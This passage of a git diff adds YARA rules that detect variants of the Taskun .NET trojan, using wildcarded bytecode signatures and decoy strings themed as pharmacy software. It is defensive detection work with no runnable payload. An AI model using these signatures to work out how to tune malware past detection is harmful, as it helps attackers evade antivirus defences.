0a 9c 25 17 02 7c ?? ?? 00 04 28 ?? ?? 00 0a 9c 25 18 02 7c ?? ?? 00 04 28 ?? ?? 00 0a 9c 0a } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ADTA_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ADTA_MTB.yar new file mode 100644 index 0000000000..4e9af894f1 --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ADTA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Taskun_ADTA_MTB{ + meta: + description = "Trojan:BAT/Taskun.ADTA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {02 08 11 04 6f ?? 00 00 0a 13 09 19 8d ?? 00 00 01 25 16 12 09 28 ?? 00 00 0a 6c 07 16 9a 16 99 5a a1 25 17 12 09 28 ?? 00 00 0a 6c 07 17 9a 17 99 5a a1 25 18 12 09 28 ?? 00 00 0a 6c 07 18 9a 18 99 5a a1 13 0a 19 8d ?? 00 00 01 25 16 11 0a 16 99 d2 9c 25 17 11 0a 17 99 d2 9c 25 18 11 0a 18 99 d2 9c 13 06 00 04 03 6f ?? 00 00 0a 59 13 07 11 07 16 fe 01 13 0b 11 0b 2c 06 } //5 + $a_03_1 = {03 11 06 16 91 6f ?? 00 00 0a 00 03 11 06 17 91 6f ?? 00 00 0a 00 03 11 06 18 91 6f ?? 00 00 0a 00 00 2b 0b } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AEQA_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AEQA_MTB.yar new file mode 100644 index 0000000000..569e827bbd --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AEQA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Taskun_AEQA_MTB{ + meta: + description = "Trojan:BAT/Taskun.AEQA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_01_0 = {11 0b 74 02 00 00 1b 11 0c 94 13 0d 11 04 11 0d 19 5a 11 0d 18 63 59 6a 58 13 04 11 04 11 04 1b 62 11 04 19 63 60 61 13 04 11 0c 17 58 13 0c 11 0c 11 0b 74 02 00 00 1b 8e 69 32 c4 } //5 + $a_01_1 = {06 74 02 00 00 1b 11 07 11 07 1f 11 5a 11 07 18 62 61 20 aa 00 00 00 60 9e 11 07 17 58 13 07 11 07 06 75 02 00 00 1b 8e 69 fe 04 13 08 11 08 2d cf } //2 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AFBB_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AFBB_MTB.yar new file mode 100644 index 0000000000..619d56c5dd --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AFBB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Taskun_AFBB_MTB{ + meta: + description = "Trojan:BAT/Taskun.AFBB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 03 00 00 " + + strings : + $a_03_0 = {11 11 11 10 61 20 ff 00 00 00 5f 13 14 09 ?? ?? 00 00 01 11 11 11 10 11 12 20 ff 00 00 00 5f 11 13 20 ff 00 00 00 5f 11 14 } //5 + $a_03_1 = {11 10 1f 13 5a 11 11 1f 17 5a 58 11 04 ?? ?? 00 00 01 20 00 01 00 00 20 } //2 + $a_03_2 = {11 11 1f 11 5a 11 10 1f 1f 5a 58 11 04 ?? ?? 00 00 01 20 00 01 00 00 20 } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2+(#a_03_2 & 1)*2) >=9 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AJRA_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AJRA_MTB.yar new file mode 100644 index 0000000000..8c585958e6 --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AJRA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Taskun_AJRA_MTB{ + meta: + description = "Trojan:BAT/Taskun.AJRA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {13 0e 11 0e 06 7d ?? 00 00 04 00 11 0e 02 11 0b 11 0d 6f ?? 00 00 0a 7d ?? 00 00 04 11 0e 04 11 0e 7b ?? 00 00 04 7b ?? 00 00 04 6f ?? 00 00 0a 59 7d ?? 00 00 04 7e ?? 00 00 04 25 2d 17 26 7e ?? 00 00 04 fe ?? ?? 00 00 06 73 ?? 00 00 0a 25 80 ?? 00 00 04 13 0f 11 0e fe ?? ?? 00 00 06 73 ?? 00 00 0a 13 10 11 0e } //5 + $a_03_1 = {01 25 16 02 7c ?? 00 00 04 28 ?? 00 00 0a 9c 25 17 02 7c ?? 00 00 04 28 ?? 00 00 0a 9c 25 18 02 7c ?? 00 00 04 28 ?? 00 00 0a 9c } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AJWA_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AJWA_MTB.yar new file mode 100644 index 0000000000..535f2dc493 --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AJWA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Taskun_AJWA_MTB{ + meta: + description = "Trojan:BAT/Taskun.AJWA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {12 02 25 28 ?? 00 00 0a 13 0c 11 0c 17 58 28 ?? 00 00 0a 17 13 04 1f 22 13 0e 38 ?? fb ff ff 12 02 16 28 ?? 00 00 0a 12 02 16 28 ?? 00 00 0a 15 13 04 1f 22 13 0e 38 ?? fb ff ff 12 02 28 ?? 00 00 0a 13 05 12 02 28 ?? 00 00 0a 13 06 1f 0e 13 0e 38 } //5 + $a_03_1 = {01 25 16 12 08 20 01 01 00 00 20 2f 01 00 00 28 ?? 00 00 06 9c 25 17 12 08 20 0f 02 00 00 20 20 02 00 00 28 ?? 00 00 06 9c 25 18 12 08 20 a6 02 00 00 20 96 02 00 00 28 ?? 00 00 06 9c 13 0b 11 10 1f 5c 91 11 10 19 91 59 13 0e 38 } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ALSA_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ALSA_MTB.yar new file mode 100644 index 0000000000..47f29a0365 --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ALSA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Taskun_ALSA_MTB{ + meta: + description = "Trojan:BAT/Taskun.ALSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_03_0 = {5a 69 13 08 04 03 6f ?? 00 00 0a 59 13 09 11 09 19 32 4f 03 19 8d ?? 00 00 01 25 16 12 07 28 ?? 00 00 0a 9c 25 17 12 07 28 ?? 00 00 0a 9c 25 18 12 07 28 ?? 00 00 0a 9c 6f ?? 00 00 0a 28 ?? 00 00 0a 13 0c 12 0c 28 ?? 00 00 0a 18 5d 17 fe 01 13 0b 11 0b 2c 06 06 17 58 0a 2b 66 06 17 59 0a 2b 60 11 09 16 31 5b 19 8d ?? 00 00 01 25 16 12 07 28 ?? 00 00 0a 9c 25 17 12 07 28 ?? 00 00 0a 9c 25 18 12 07 28 ?? 00 00 0a 9c 13 0d 16 13 0e } //5 + $a_03_1 = {02 09 11 06 6f ?? 00 00 0a 13 07 11 04 } //1 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AMRA_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AMRA_MTB.yar new file mode 100644 index 0000000000..09e80f27e5 --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AMRA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Taskun_AMRA_MTB{ + meta: + description = "Trojan:BAT/Taskun.AMRA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {02 06 07 6f ?? 00 00 0a 0c 04 03 6f ?? 00 00 0a 59 0d 09 19 fe 04 16 fe 01 13 04 11 04 2c 2f 00 03 19 8d ?? 00 00 01 25 16 12 02 28 ?? 00 00 0a 9c 25 17 12 02 28 ?? 00 00 0a 9c 25 18 12 02 28 ?? 00 00 0a 9c 6f ?? 00 00 0a 00 00 2b 56 09 16 fe 02 13 05 11 05 2c 4c } //5 + $a_03_1 = {01 25 16 12 02 28 ?? 00 00 0a 9c 25 17 12 02 28 ?? 00 00 0a 9c 25 18 12 02 28 ?? 00 00 0a 9c } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_APT_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_APT_MTB.yar new file mode 100644 index 0000000000..c402219afd --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_APT_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_Taskun_APT_MTB{ + meta: + description = "Trojan:BAT/Taskun.APT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_81_0 = {50 68 61 72 6d 61 43 61 72 65 20 4d 61 6e 61 67 65 72 2e 64 6c 6c } //1 PharmaCare Manager.dll + $a_81_1 = {48 49 50 41 41 2d 63 6f 6d 70 6c 69 61 6e 74 20 70 68 61 72 6d 61 63 79 20 6d 61 6e 61 67 65 6d 65 6e 74 } //1 HIPAA-compliant pharmacy management + $a_81_2 = {4d 65 64 54 65 63 68 20 53 6f 6c 75 74 69 6f 6e 73 20 49 6e 63 } //1 MedTech Solutions Inc + $a_81_3 = {72 65 67 75 6c 61 74 65 64 20 68 65 61 6c 74 68 63 61 72 65 20 65 6e 76 69 72 6f 6e 6d 65 6e 74 73 } //1 regulated healthcare environments + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AQWA_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AQWA_MTB.yar new file mode 100644 index 0000000000..94ae61d12a --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AQWA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Taskun_AQWA_MTB{ + meta: + description = "Trojan:BAT/Taskun.AQWA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {02 11 0e 11 13 6f ?? 00 00 0a 13 14 11 08 1f 64 6a 5d 3a ?? 00 00 00 72 ?? ?? 00 70 1d 8d ?? 00 00 01 25 16 11 0e 8c ?? 00 00 01 a2 25 17 11 13 8c ?? 00 00 01 a2 25 18 12 14 28 ?? 00 00 0a 8c ?? 00 00 01 a2 25 19 12 14 28 ?? 00 00 0a 8c ?? 00 00 01 a2 25 1a 12 14 28 ?? 00 00 0a 8c ?? 00 00 01 a2 25 1b 11 04 8c ?? 00 00 01 a2 } //5 + $a_03_1 = {25 1c 09 a2 28 ?? 00 00 0a 6f ?? 00 00 0a 13 10 12 10 72 ?? ?? 00 70 28 ?? 00 00 0a 13 1d 08 11 1d 6f ?? 00 00 0a 11 1d 0d 11 04 17 58 13 04 12 14 28 ?? 00 00 0a 11 0b 11 08 20 00 01 00 00 6a 5d d4 91 61 d2 13 15 12 14 28 ?? 00 00 0a 11 0b 11 08 17 6a 58 20 00 01 00 00 6a 5d d4 91 61 d2 13 16 12 14 28 ?? 00 00 0a 11 0b 11 08 18 6a 58 20 00 01 00 00 6a } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ARSA_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ARSA_MTB.yar new file mode 100644 index 0000000000..181ce62405 --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ARSA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Taskun_ARSA_MTB{ + meta: + description = "Trojan:BAT/Taskun.ARSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {11 05 11 08 5a 20 ff 00 00 00 5d 13 09 11 09 16 30 05 11 09 65 2b 02 11 09 13 09 02 11 05 11 08 6f ?? 00 00 0a 13 0a 11 05 11 08 58 18 5d 16 fe 01 13 0b 11 0b 2d 07 11 0b 16 fe 01 2b 01 17 13 0e 11 0e 2c 02 00 00 04 03 6f ?? 00 00 0a 59 } //5 + $a_03_1 = {01 25 16 12 0a 28 ?? 00 00 0a 9c 25 17 12 0a 28 ?? 00 00 0a 9c 25 18 12 0a 28 ?? 00 00 0a 9c } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ATUA_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ATUA_MTB.yar new file mode 100644 index 0000000000..e4d521818e --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ATUA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Taskun_ATUA_MTB{ + meta: + description = "Trojan:BAT/Taskun.ATUA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {02 12 01 28 ?? 00 00 0a 12 01 28 ?? 00 00 0a 28 ?? ?? 00 06 13 05 04 03 6f ?? 00 00 0a 59 13 06 11 06 19 32 29 03 12 05 28 ?? 00 00 0a 6f ?? 00 00 0a 03 12 05 28 ?? 00 00 0a 6f ?? 00 00 0a 03 12 05 28 ?? 00 00 0a 6f ?? 00 00 0a 2b 47 11 06 16 31 42 } //5 + $a_03_1 = {01 25 16 12 05 28 ?? 00 00 0a 9c 25 17 12 05 28 ?? 00 00 0a 9c 25 18 12 05 28 ?? 00 00 0a 9c } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AVQA_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AVQA_MTB.yar new file mode 100644 index 0000000000..1dba21dc5e --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AVQA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Taskun_AVQA_MTB{ + meta: + description = "Trojan:BAT/Taskun.AVQA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {02 11 04 11 05 6f ?? 00 00 0a 13 06 04 03 6f ?? 00 00 0a 59 13 07 11 07 19 fe 04 16 fe 01 13 08 11 08 2c 2e 00 03 12 06 28 ?? 00 00 0a 6f ?? 00 00 0a 00 03 12 06 28 ?? 00 00 0a 6f ?? 00 00 0a 00 03 12 06 28 ?? 00 00 0a 6f ?? 00 00 0a 00 00 2b 58 11 07 16 fe 02 13 09 11 09 2c 4d 00 19 } //5 + $a_03_1 = {01 25 16 12 06 28 ?? 00 00 0a 9c 25 17 12 06 28 ?? 00 00 0a 9c 25 18 12 06 28 ?? 00 00 0a 9c 13 0a 16 13 0b 2b 14 } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AVRA_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AVRA_MTB.yar new file mode 100644 index 0000000000..8e8f79a707 --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AVRA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Taskun_AVRA_MTB{ + meta: + description = "Trojan:BAT/Taskun.AVRA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {11 04 11 07 11 0b 6f ?? 00 00 0a 13 0c 11 06 11 05 6f ?? 00 00 0a 59 13 0d 11 0d 19 fe 04 16 fe 01 13 0e 11 0e 2c 55 00 19 8d ?? 00 00 01 25 16 12 0c 28 ?? 00 00 0a 9c 25 17 12 0c 28 ?? 00 00 0a 9c 25 18 12 0c 28 ?? 00 00 0a 9c 13 0f 08 } //5 + $a_03_1 = {11 0d 16 fe 02 13 11 11 11 2c 4e 00 19 8d ?? 00 00 01 25 16 12 0c 28 ?? 00 00 0a 9c 25 17 12 0c 28 ?? 00 00 0a 9c 25 18 12 0c 28 ?? 00 00 0a 9c } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AZQA_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AZQA_MTB.yar new file mode 100644 index 0000000000..2796ab229e --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AZQA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Taskun_AZQA_MTB{ + meta: + description = "Trojan:BAT/Taskun.AZQA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {02 7b 72 01 00 04 7b 6f 01 00 04 02 7b 71 01 00 04 03 6f ?? ?? 00 0a 0a 02 7b 72 01 00 04 7b 6c 01 00 04 02 7b 72 01 00 04 7b 6b 01 00 04 6f ?? ?? 00 0a 59 0b 07 19 fe 04 16 fe 01 0c 08 2c 39 00 02 7b 72 01 00 04 7b 6b 01 00 04 19 8d a1 00 00 01 25 16 12 00 28 ?? ?? 00 0a 9c 25 17 12 00 28 ?? ?? 00 0a 9c 25 18 12 00 28 ?? ?? 00 0a 9c 6f ?? ?? 00 0a 00 00 2b 45 07 16 fe 02 0d 09 2c 3d } //5 + $a_03_1 = {01 25 16 12 00 28 ?? ?? 00 0a 9c 25 17 12 00 28 ?? ?? 00 0a 9c 25 18 12 00 28 ?? ?? 00 0a 9c 07 } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_BAA_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_BAA_MTB.yar new file mode 100644 index 0000000000..82945b4acf --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_BAA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Taskun_BAA_MTB{ + meta: + description = "Trojan:BAT/Taskun.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {28 c9 00 00 0a 00 06 8e b7 18 da 16 da 17 d6 6b 28 cc 00 00 0a 5a 28 cd 00 00 0a 22 00 00 80 3f 58 6b 6c 28 ce 00 00 0a b7 13 04 08 06 11 04 93 6f cf 00 00 0a 26 00 09 17 d6 0d 09 11 05 13 06 11 06 31 bc } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_BAB_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_BAB_MTB.yar new file mode 100644 index 0000000000..8b283484b2 --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_BAB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Taskun_BAB_MTB{ + meta: + description = "Trojan:BAT/Taskun.BAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {06 07 8f 61 00 00 01 25 47 03 61 d2 52 07 17 58 0b 07 06 8e 69 32 e9 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_BQ_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_BQ_MTB.yar new file mode 100644 index 0000000000..a4aef8ec58 --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_BQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Taskun_BQ_MTB{ + meta: + description = "Trojan:BAT/Taskun.BQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {01 17 58 8c ?? 00 00 01 6f ?? ?? 00 0a 00 38 ?? 00 00 00 11 0a 16 30 05 38 ?? 00 00 00 19 8d ?? 00 00 01 25 16 12 09 28 ?? ?? 00 0a 9c 25 17 12 09 28 ?? ?? 00 0a 9c 25 18 12 09 28 ?? ?? 00 0a 9c 13 0d 11 0a 8d ?? 00 00 01 13 0e 16 13 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_CH_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_CH_MTB.yar new file mode 100644 index 0000000000..1f25de962b --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_CH_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Taskun_CH_MTB{ + meta: + description = "Trojan:BAT/Taskun.CH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {04 03 61 1f 3c 59 06 61 45 ?? ?? ?? ?? ?? ?? ?? ?? 11 05 20 ?? ?? ?? ?? 94 20 ?? ?? ?? ?? 59 0d 2b a3 11 05 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_EAHA_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_EAHA_MTB.yar new file mode 100644 index 0000000000..111c69656c --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_EAHA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Taskun_EAHA_MTB{ + meta: + description = "Trojan:BAT/Taskun.EAHA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {06 08 1f 0a 5a 6f 32 00 00 0a 26 04 07 08 91 6f 33 00 00 0a 08 17 58 0c 08 03 32 e4 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_EAK_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_EAK_MTB.yar new file mode 100644 index 0000000000..c3904218dd --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_EAK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Taskun_EAK_MTB{ + meta: + description = "Trojan:BAT/Taskun.EAK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_02_0 = {00 06 7b 06 01 00 04 11 24 11 09 91 ?? ?? ?? ?? ?? 00 00 11 09 17 58 13 09 11 09 11 16 fe 04 13 25 11 25 2d db } //2 + condition: + ((#a_02_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_EANM_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_EANM_MTB.yar new file mode 100644 index 0000000000..9bc3e3eace --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_EANM_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Taskun_EANM_MTB{ + meta: + description = "Trojan:BAT/Taskun.EANM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_01_0 = {07 11 04 07 11 04 94 03 5a 1f 64 5d 9e 11 04 17 58 13 04 11 04 07 8e 69 32 e6 } //5 + $a_01_1 = {07 09 07 09 94 02 5a 1f 64 5d 9e 09 17 58 0d 09 07 8e 69 32 eb } //5 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_EDL_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_EDL_MTB.yar new file mode 100644 index 0000000000..a6eec6fb10 --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_EDL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Taskun_EDL_MTB{ + meta: + description = "Trojan:BAT/Taskun.EDL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_02_0 = {00 08 18 5f 17 63 13 05 2b 52 00 07 02 11 04 11 05 ?? ?? ?? ?? ?? 13 06 04 03 ?? ?? ?? ?? ?? 59 13 07 11 07 19 ?? ?? ?? ?? ?? 13 08 11 08 2c 0d 00 03 11 06 } //2 + condition: + ((#a_02_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_EHDF_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_EHDF_MTB.yar new file mode 100644 index 0000000000..1220f3e3f0 --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_EHDF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Taskun_EHDF_MTB{ + meta: + description = "Trojan:BAT/Taskun.EHDF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {11 09 11 0e 8f 0f 00 00 01 25 71 0f 00 00 01 11 0c 11 0e 91 61 d2 81 0f 00 00 01 11 0e 17 58 13 0e 11 0e 11 08 32 d9 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_EHJW_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_EHJW_MTB.yar new file mode 100644 index 0000000000..7ada7a5282 --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_EHJW_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Taskun_EHJW_MTB{ + meta: + description = "Trojan:BAT/Taskun.EHJW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {26 07 17 58 0b 11 16 1f 0a 5d 2d 1c 11 09 11 16 1f 64 5d 17 9c 11 08 11 16 11 08 8e 69 5d 11 16 ?? ?? ?? ?? ?? 5d d2 9c 11 16 6c 02 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_EJJJ_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_EJJJ_MTB.yar new file mode 100644 index 0000000000..81679799fb --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_EJJJ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Taskun_EJJJ_MTB{ + meta: + description = "Trojan:BAT/Taskun.EJJJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_02_0 = {15 5f 13 09 11 09 06 17 17 ?? ?? ?? ?? ?? 5a 06 17 16 ?? ?? ?? ?? ?? 26 16 58 06 17 18 } //1 + $a_01_1 = {00 08 17 58 07 8e 69 5d 0c 00 11 14 17 58 13 14 11 14 11 0f fe 04 } //1 + condition: + ((#a_02_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_EM_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_EM_MTB.yar new file mode 100644 index 0000000000..5d90cac06f --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_EM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Taskun_EM_MTB{ + meta: + description = "Trojan:BAT/Taskun.EM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {02 11 07 91 06 75 03 00 00 1b 11 05 91 13 08 07 61 11 08 61 13 09 11 0d 20 c0 01 00 00 94 20 88 1a 00 00 59 13 0b } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + 